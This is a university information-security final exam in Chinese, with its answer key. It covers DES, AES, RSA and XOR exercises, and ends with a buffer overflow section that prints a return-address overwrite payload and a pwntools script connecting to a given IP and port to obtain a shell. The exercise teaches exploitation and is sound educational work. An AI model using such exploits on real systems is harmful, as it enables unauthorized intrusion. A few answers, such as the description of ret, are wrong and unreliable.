湖州师范学院2018—2019学年第一学期 《信息安全技术》期末考试试卷(A卷) 及答案
湖州师范学院2018—2019学年第一学期
《信息安全技术》期末考试试卷(A卷)
考试时间 120 分钟
说明:(1)将所有试题的答案写在答卷上;
(2)交卷时将答卷纸和试题一同上交。
学院 班级 学号 姓名 成绩
题号 | 一 | 二 | 三 | 四 | 五 | 六 | 总分 |
分数 |
得分 |
一、选择题(每题1.5分,共15分)
1、 ________可以确保个人能够控制或影响与自身相关的信息的收集和存储,也能够控制这些信息可以由谁披露或向谁披露。
A、数据机密性 B、隐私性 C、数据完整性 D、可用性
2、 下列不属于计算机病毒的主要来源有_______。
A、黑客组织编写 B、计算机自动产生
C、恶意编制 D、恶作剧
3、 ________是试图学习或利用信息,但不影响系统资源。
A、主动攻击 B、内部攻击 C、外部攻击 D、被动攻击
4. 典型的对称算法,是DES、三重DES和________。
A、SHA B、RSA C、AES D、DSS
5、 下列说法正确的是________。
A、计算机系统硬件的主要威胁是对其可用性的威胁。
B、软件的主要威胁是对软件可用性的攻击。
C、保密性的主要威胁是非授权读取数据文件或数据库。
D、以上三项都正确。
6、 下列不属于对称加密的是________。
A、3DES B、AES C、DES D、RSA
7、 下列关于流密码,说法不正确的是________。
A、更适用于处理成块的数据,比如文件传输、电子邮件。
B、相比于分组密码来说,往往速度更快。
C、大多情况下,需要编写的代码比分组密码来说更少。
D、如果用流密码对两个明文加密使用相同的密钥,则密码分析就会相当容易。
8、公开密钥密码体制的含义是______。
A、将所有密钥公开 B、将私有密钥公开,公开密钥保密
C、将公开密钥公开,私有密钥保密 D、两个密钥相同
9、不属于常见的危险密码是_____。
A、跟用户名相同的密码 B、使用生日作为密码
C、只有4位数的密码 D、10位的综合型密码
10、密码学的目的是_______。
A、研究数据加密 B、研究数据解密
C、研究数据保密 D、研究信息安全
得分 |
二、填空题(每空1分,共15分)
1、DES采用(1)________位的明文长度和(2)________位的密钥长度。
2、计算机系统资产包括: (3)________、(4)____________、(5)__________和(6)__________。
3、计算机安全威胁包括: (7)________、(8)____________、(9)__________和(10)__________。
4、常见的RSA攻击有:(11)__________和(12)___________等。
5、112位密钥通常有(13)________种可能,密钥越长,越不容易被破解。
6、常见的缓冲区溢出有:(14)____________和(15)______________。
得分 |
三、简答题(每题5分,共30分)
1、简述计算机安全的定义。
2、什么是缓冲区溢出,列出可能产生的后果。
3、简述被动攻击和主动攻击。
4、简述DES加密过程。
5、简述安全实施步骤。
6、简述推理攻击。
得分 |
四、计算题(每小题5分,共20分)
1、简述一下RSA的加解密的过程,并且求出当明文为m=14,e=5,p=5,q=11,求出加密后的c。
2、异或运算是很多加密算法中常用的方式,请你计算出6D4E2F和8A5B7C异或的二进制结果。
3、在AES算法中,有以下数据:
0xd5,0xbf,0x5d,0x30,0xe0,0xb4,0x52,0xae,
0xb8,0x41,0x11,0xf1,0x1e,0x27,0x98,0xe5
经过以下行移位,请问得到新的数据是什么?
4、在DES算法中,有以下64位密钥: 00010011 00110100 01010111 01111001 10011011 10111100 11011111 11110001。这个64位的秘钥根据如下表格PC-1进行变换。请问:变化后得到56位的新秘钥是什么?
得分 |
五、编程题(每小题6分,共6分)
1、以下是一个明文的加密过程,加密代码如下,请你写出解密代码(不限制语言),并且求出明文。此代码加密后得到的密文是:GcihjqhJcZ。
注意:ord():将字符转换为其对应的ascll码,如A:65,Z:90,a=97,z=122。(注:plaintext表示明文)。chr():用一个范围在 range(256)内的(就是0~255)整数作参数,返回一个对应的字符。
plaintext = 'xxxxxxxxxxxxxx'
j = 1
k = 0
for i in plaintext:
print(chr(ord(i) - j), end='')
k += 1
j += 1
得分 |
六、综合分析题(每小题7分,共14分)
1、在一次溢出过程中,我们截获了一段源码,如下所示。假设在目标程序中,函数bin_sh()函数的内存地址为四字节地址是0x08048454。
#include<stdio.h>
void bin_sh(){
system("/bin/sh");
}
int main(){
char str[5];
gets(str);
return 0;
}
(1)请问如何通过溢出得到shell权限?
(2)假设栈底与str之间没有其他数据,请给出payload(payload即你所输入的一段能够得到shell的字符串),并解释原因。
注意:地址的字符串形式可用p64(addr)或p32(addr)表示,其中addr为地址。p32()与p64()的区别在于需要转化的是32位地址还是64位地址。
(3)已知此次攻击的地址和端口号为:111.198.29.45 47492请写出exp(攻击脚本)。
2、给定以下C语言程序,包括main和foo两个函数,其经过编译调试运行,得到两个调试窗口的截图。
#include <stdio.h>
int foo(int a,int b)
{
int c=10;
int d;
d = a+b+c;
return d;
}
int main(void)
{
int sum;
sum=foo(1,2);
}
(1)根据下图,试写出main()生成的汇编代码;结合esp和ebp,解释push、call、leave和ret语句;解释在add esp,8语句中为什么增加8;当前运行在哪行语句,解释当前esp、ebp和eip值的含义。
(2)解释push ebp、mov ebp,esp和sub esp,0x10的三条语句含义;foo函数的入口地址是多少?语句push ebp对应的pop放置在哪里?
湖州师范学院2018—2019学年第一学期
《信息安全技术》期末考试试卷(A卷)
考试时间 120 分钟
说明:(1)将所有试题的答案写在答卷上;
(2)交卷时将答卷纸和试题一同上交。
学院 班级 学号 姓名 成绩
题号 | 一 | 二 | 三 | 四 | 五 | 六 | 总分 |
分数 |
得分 |
一、选择题(每题1.5分,共15分)
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 |
B | B | D | C | D | D | A | C | D | C |
得分 |
二、 填空题(每空1分,共15分)
1、(1)____64____ (2)____56____。
2、(3)___硬件_____(4)____软件________(5)____数据______(6)___通信线路和网络_______。
3、(7)___非授权泄露_____(8)____欺骗________(9)____破坏______ (10)___篡夺_______。
4、(11)___模数分解_______ (12)____低加密指数攻击或者共模攻击_______。
5、(13)__2112______。
6、(14)____栈溢出________ (15)_____堆溢出_________。
得分 |
三、简答题(每题5分,共30分)
1、简述计算机安全的定义。
答案:保证信息系统资产的机密性、完整性和可用性的措施和控制方法,其中资产包括硬件、软件、固件以及处理、存储和通信的信息。
2、什么是缓冲区溢出,列出可能产生的后果。
答案:缓冲区溢出是指接口的一种状况,此时大量的输入被放置到缓冲区或者数据存储区,超过了其所分配的存储能力,覆盖了其他信息。攻击者利用这样的状况破坏系统或者插入特别编制的代码,以获得系统的控制权。
3、简述被动攻击和主动攻击。
答案:被动攻击是窃听或监视数据传输,攻击者的目标是获取传输的数据信息,试图从系统中学习或利用信息,但不影响系统资源。主动攻击是对数据流进行篡改或伪造数据流,试图改变系统资源或影响其运行。
4、简述一下DES的加密过程。
输入64位明文数据,并进行初始置换IP;(初始置换IP)
在初始置换IP后,明文数据再被分为左右两部分,每部分32位,以L0,R0表示;
在秘钥的控制下,经过16轮运算(f);(密钥变换)
16轮后,左、右两部分交换,并连接再一起,再进行逆置换;(逆置换)
输出64位密文。
5、简述安全实施步骤。
安全实施涉及四个互为补充的行动步骤:预防、检测、响应和恢复。
6、简述推理攻击。
答案:非授权实体通过基于特征的推理或通信产品间接访问敏感数据(但不一定是包含在通信中的数据)的威胁行为。
得分 |
四、计算题(每小题5分,共20分)
1、简述一下RSA的加解密的过程,并且求出当明文为m=14,e=5,p=5,q=11,求出加密后的c。
解:加密过程:用公钥(e,n)加密c = m^e mod n ,其中n=p*q且p,q为素数
解密过程:用私钥(d,n)解密m = c^d mod n,其中d*e mod ((p-1)*(q-1))=1
c =14^5 mod 55 =34
2、异或运算是很多加密算法中常用的方式,请你计算出6D4E2F和8A5B7C异或的二进制结果。
6D4E2F= 0110 1101 0100 1110 0010 1111
8A5B7C= 1000 1010 0101 1011 0111 1100
结果:1110 0111 0001 0101 0101 0011
3、在AES算法中,有以下数据:
0xd5,0xbf,0x5d,0x30,0xe0,0xb4,0x52,0xae,
0xb8,0x41,0x11,0xf1,0x1e,0x27,0x98,0xe5
经过以下行移位,请问得到新的数据是什么?
答案:
0xd5,0xe0,0xb8,0x1e,
0xb4,0x41, 0x27,0xbf,
0x11,0x98,0x5d,0x52,
0xe5,0x30,0xae,0xf1,
或者
0xd5,0xbf,0x5d,0x30,
0xb4,0x52,0xae,0xe0,
0x11,0xf1,0xb8,0x41,
0xe5,0x1e,0x27,0x98,
4、在DES算法中,有以下64位密钥: 00010011 00110100 01010111 01111001 10011011 10111100 11011111 11110001。这个64位的秘钥根据如下表格PC-1进行变换。请问:变化后得到56位的新秘钥是什么?
答案:K’= 1111000 0110011 0010101 0101111 0101010 1011001 1001111 0001111
得分 |
五、编程题(每小题6分,共6分)
1、以下是一个明文的加密过程,加密代码如下,请你写出解密代码(不限制语言),并且求出明文。此代码加密后得到的密文是:GcihjqhJcZ。ord():将字符转换为其对应的ascll码,如A:65,Z:90,a=97,z=122。(注:plaintext表示明文)。chr():用一个范围在 range(256)内的(就是0~255)整数作参数,返回一个对应的字符。
plaintext = 'xxxxxxxxxxxxxx'
j = 1
k = 0
for i in plaintext:
print(chr(ord(i) - j), end='')
k += 1
j += 1
解:解密代码:
ciphertext = 'GcihjqhJcZ'
j = 1
for i in ciphertext:
print(chr(ord(i) + j), end='')
j += 1
明文求出的结果:HellowoRld
得分 |
六、综合分析题(每小题7分,共14分)
1、在一次溢出过程中,我们截获了一段源码,如下所示。假设在目标程序中,函数bin_sh()函数的内存地址为四字节地址是0x08048454。
#include<stdio.h>
void bin_sh(){
system("/bin/sh");
}
int main(){
char str[5];
gets(str);
return 0;
}
(1)请简述如何通过溢出得到shell权限;
答案:字符串str最长空间只有5位,而利用gets函数获取str不会判断是否越界,所以只要输入字符溢出后一直覆盖到ebp后,再填入bin_sh()作为返回地址即可。
(2)假设栈底与str之间没有其他数据,请给出payload(payload即你所输入的一段能够得到shell的字符串),并解释原因。
注意:地址的字符串形式可用p64(addr)或p32(addr)表示,其中addr为地址。p32()与p64()的区别在于需要转化的是32位地址还是64位地址。
答案: 因为栈底与str之间没有其他数据,所以str越界后会直接覆盖到ebp。
Payload:“aaaaa“+“aaaa”+p32(0x08048454) 注:前五个可为任意字符
(3)已知此次攻击的地址和端口号为:111.198.29.45 47492请写出exp(攻击脚本)。
from pwn import *
p=remote("111.198.29.45",47492)
payload=“aaaaa“+“aaaa”+p32(0x08048454)
p.send(payload)
p.interactive()
2、给定以下C语言程序,包括main和foo两个函数,其经过编译调试运行,得到两个调试窗口的截图。
#include <stdio.h>
int foo(int a,int b)
{
int c=10;
int d;
d = a+b+c;
return d;
}
int main(void)
{
int sum;
sum=foo(1,2);
}
(1)根据下图,试写出main()生成的汇编代码;结合esp和ebp,解释push、call、leave和ret语句;解释在add esp,8语句中为什么增加8;当前运行在哪行语句,解释当前esp、ebp和eip值的含义。
答案:
a.main()汇编代码:
push 2
push 1
call foo
add esp,8
mov dword ptr[ebp-4],eax
mov eax,0
leave
ret
b.push语句是esp-4;call语句是push操作,把下一条指令的地址入栈,并跳转到指定的地址,总结call语句先push操作(即esp-4),然后jmp跳转指令;leave语句包括(mov esp,ebp;pop ebp)两条语句,esp指向了ebp的值,且把原来的ebp恢复,并esp+4;ret语句包括(pop esp;jmp esp)两条语句,esp的值原有保存的地址值恢复到esp上,并跳转到esp指向的地址。
c.add esp,8的原因是main函数调用foo函数传递了两个参数2和1,即在0x8048403和0x8048405的两条语句push 2和push 1,因此esp加8。
d.当前运行在0x8048407内存地址指向的指令上,即指令寄存器(eip)为0x8048407,栈帧地址(ebp)为0xffffcfa8,栈顶指针(esp)为0xffffcf90。
(2)解释push ebp、mov ebp,esp和sub esp,0x10的三条语句含义;foo函数的入口地址是多少?语句push ebp对应的pop放置在哪里?
答案:push ebp表示栈顶指针减四esp-4,ebp的值入栈;mov ebp,esp表示把当前的栈顶指针esp赋值给ebp;sub esp,0x10表示在栈内分配地址给局部变量,即栈顶指针减去16个字节的数据。